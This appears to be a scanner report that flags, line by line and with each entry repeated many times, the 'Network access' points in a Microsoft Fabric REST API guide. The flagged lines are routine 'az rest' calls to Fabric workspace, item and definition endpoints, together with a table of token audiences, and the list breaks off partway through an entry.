    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 157
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 157
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 157
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 157
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 157
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 157
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 158
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 158
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 158
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 158
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 158
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 158
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 158
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 158
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 159
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 159
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 159
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 159
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 159
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 159
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 159
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 159
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 163
    * The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se
  • Network accessline 163
    * The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se
  • Network accessline 163
    * The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se
  • Network accessline 163
    * The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se
  • Network accessline 163
    * The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se
  • Network accessline 163
    * The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se
  • Network accessline 163
    * The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se
  • Network accessline 163
    * The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se
  • Network accessline 165
    * See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types.
  • Network accessline 165
    * See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types.
  • Network accessline 165
    * See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types.
  • Network accessline 165
    * See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types.
  • Network accessline 165
    * See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types.
  • Network accessline 165
    * See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types.
  • Network accessline 165
    * See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types.
  • Network accessline 165
    * See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types.
  • Network accessline 203
    # Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 203
    # Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 203
    # Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 203
    # Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 203
    # Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 203
    # Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 203
    # Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 203
    # Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 204
    FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 204
    FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 204
    FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 204
    FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 204
    FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 204
    FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 204
    FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 204
    FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 205
    FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com"
  • Network accessline 205
    FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com"
  • Network accessline 205
    FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com"
  • Network accessline 205
    FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com"
  • Network accessline 205
    FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com"
  • Network accessline 205
    FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com"
  • Network accessline 205
    FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com"
  • Network accessline 205
    FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com"
  • Network accessline 224
    | Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 224
    | Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 224
    | Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 224
    | Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 224
    | Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 224
    | Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 224
    | Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 224
    | Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 225
    |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 225
    |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 225
    |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 225
    |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 225
    |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 225
    |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 225
    |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 225
    |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 226
    | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 226
    | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 226
    | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 226
    | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 226
    | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 226
    | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 226
    | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 226
    | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 227
    | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 227
    | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 227
    | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 227
    | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 227
    | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 227
    | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 227
    | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 227
    | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 228
    | `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) |
  • Network accessline 228
    | `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) |
  • Network accessline 228
    | `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) |
  • Network accessline 228
    | `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) |
  • Network accessline 228
    | `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) |
  • Network accessline 228
    | `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) |
  • Network accessline 228
    | `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) |
  • Network accessline 228
    | `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) |
  • Network accessline 229
    | `https://analysis.windows.net/powerbi/api` | Power BI / XMLA |
  • Network accessline 229
    | `https://analysis.windows.net/powerbi/api` | Power BI / XMLA |
  • Network accessline 229
    | `https://analysis.windows.net/powerbi/api` | Power BI / XMLA |
  • Network accessline 229
    | `https://analysis.windows.net/powerbi/api` | Power BI / XMLA |
  • Network accessline 229
    | `https://analysis.windows.net/powerbi/api` | Power BI / XMLA |
  • Network accessline 229
    | `https://analysis.windows.net/powerbi/api` | Power BI / XMLA |
  • Network accessline 229
    | `https://analysis.windows.net/powerbi/api` | Power BI / XMLA |
  • Network accessline 229
    | `https://analysis.windows.net/powerbi/api` | Power BI / XMLA |
  • Network accessline 238
    [Credential-related source omitted]
  • Network accessline 238
    [Credential-related source omitted]
  • Network accessline 238
    [Credential-related source omitted]
  • Network accessline 238
    [Credential-related source omitted]
  • Network accessline 238
    [Credential-related source omitted]
  • Network accessline 238
    [Credential-related source omitted]
  • Network accessline 238
    [Credential-related source omitted]
  • Network accessline 238
    [Credential-related source omitted]
  • Network accessline 239
    [Credential-related source omitted]
  • Network accessline 239
    [Credential-related source omitted]
  • Network accessline 239
    [Credential-related source omitted]
  • Network accessline 239
    [Credential-related source omitted]
  • Network accessline 239
    [Credential-related source omitted]
  • Network accessline 239
    [Credential-related source omitted]
  • Network accessline 239
    [Credential-related source omitted]
  • Network accessline 239
    [Credential-related source omitted]
  • Network accessline 240
    [Credential-related source omitted]
  • Network accessline 240
    [Credential-related source omitted]
  • Network accessline 240
    [Credential-related source omitted]
  • Network accessline 240
    [Credential-related source omitted]
  • Network accessline 240
    [Credential-related source omitted]
  • Network accessline 240
    [Credential-related source omitted]
  • Network accessline 240
    [Credential-related source omitted]
  • Network accessline 240
    [Credential-related source omitted]
  • Network accessline 248
    [Credential-related source omitted]
  • Network accessline 248
    [Credential-related source omitted]
  • Network accessline 248
    [Credential-related source omitted]
  • Network accessline 248
    [Credential-related source omitted]
  • Network accessline 248
    [Credential-related source omitted]
  • Network accessline 248
    [Credential-related source omitted]
  • Network accessline 248
    [Credential-related source omitted]
  • Network accessline 248
    [Credential-related source omitted]
  • Network accessline 286
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 286
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 286
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 286
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 286
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 286
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 286
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 286
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 287
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 287
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 287
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 287
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 287
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 287
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 287
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 287
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 288
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 288
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 288
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 288
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 288
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 288
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 288
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 288
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 295
    # Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 295
    # Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 295
    # Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 295
    # Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 295
    # Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 295
    # Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 295
    # Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 295
    # Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 296
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 296
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 296
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 296
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 296
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 296
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 296
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 296
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 297
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 297
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 297
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 297
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 297
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 297
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 297
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 297
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 298
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses"
  • Network accessline 298
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses"
  • Network accessline 298
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses"
  • Network accessline 298
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses"
  • Network accessline 298
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses"
  • Network accessline 298
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses"
  • Network accessline 298
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses"
  • Network accessline 298
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses"
  • Network accessline 315
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 315
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 315
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 315
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 315
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 315
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 315
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 315
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 316
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 316
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 316
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 316
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 316
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 316
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 316
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 316
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 317
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 317
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 317
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 317
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 317
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 317
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 317
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 317
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 318
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 318
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 318
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 318
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 318
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 318
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 318
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 318
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 341
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 341
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 341
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 341
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 341
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 341
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 341
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 341
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 342
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 342
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 342
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 342
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 342
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 342
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 342
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 342
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 343
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 343
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 343
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 343
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 343
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 343
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 343
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 343
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 344
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 344
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 344
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 344
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 344
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 344
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 344
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 344
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 352
    # getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 352
    # getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 352
    # getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 352
    # getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 352
    # getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 352
    # getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 352
    # getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 352
    # getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 353
    RESPONSE=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 353
    RESPONSE=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 353
    RESPONSE=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 353
    RESPONSE=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 353
    RESPONSE=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 353
    RESPONSE=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 353
    RESPONSE=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 353
    RESPONSE=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 354
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 354
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 354
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 354
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 354
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 354
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 354
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 354
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 355
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \
  • Network accessline 355
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \
  • Network accessline 355
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \
  • Network accessline 355
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \
  • Network accessline 355
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \
  • Network accessline 355
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \
  • Network accessline 355
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \
  • Network accessline 355
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \
  • Network accessline 375
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 375
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 375
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 375
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 375
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 375
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 375
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 375
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 376
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 376
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 376
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 376
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 376
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 376
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 376
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 376
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 377
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 377
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 377
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 377
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 377
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 377
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 377
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 377
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 378
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \
  • Network accessline 378
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \
  • Network accessline 378
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \
  • Network accessline 378
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \
  • Network accessline 378
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \
  • Network accessline 378
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \
  • Network accessline 378
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \
  • Network accessline 378
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \
  • Network accessline 386
    EOF az rest --method patch \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 386
    EOF az rest --method patch \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 386
